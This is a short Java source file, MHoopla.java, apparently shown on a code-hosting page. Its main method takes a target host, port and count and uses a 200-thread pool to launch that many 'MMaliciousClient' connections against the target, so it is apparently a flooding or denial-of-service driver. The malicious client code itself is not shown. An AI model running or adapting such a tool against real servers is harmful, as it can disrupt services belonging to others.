📄 mhoopla.java
字号:
package net.jumperz.app.MHoopla;
import net.jumperz.util.*;
import net.jumperz.net.*;
import java.net.*;
import java.io.*;
public class MHoopla
{
private static final int threadCount = 200;
private static int attackCount = 100;
//---------------------------------------------------------------------------------
public static void main( String[] args )
throws Exception
{
if( args.length != 3 )
{
System.out.println( "Usage: net.jumperz.app.MHoopla.MHoopla host port count" );
return;
}
MThreadPool threadPool = new MThreadPool( threadCount );
attackCount = Integer.parseInt( args[ 2 ] );
for( int i = 0; i < attackCount; ++i )
{
Thread.sleep( 100 );
MMaliciousClient client = new MMaliciousClient( args[ 0 ], Integer.parseInt( args[ 1 ] ) );
threadPool.addCommand( client );
}
}
//---------------------------------------------------------------------------------
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -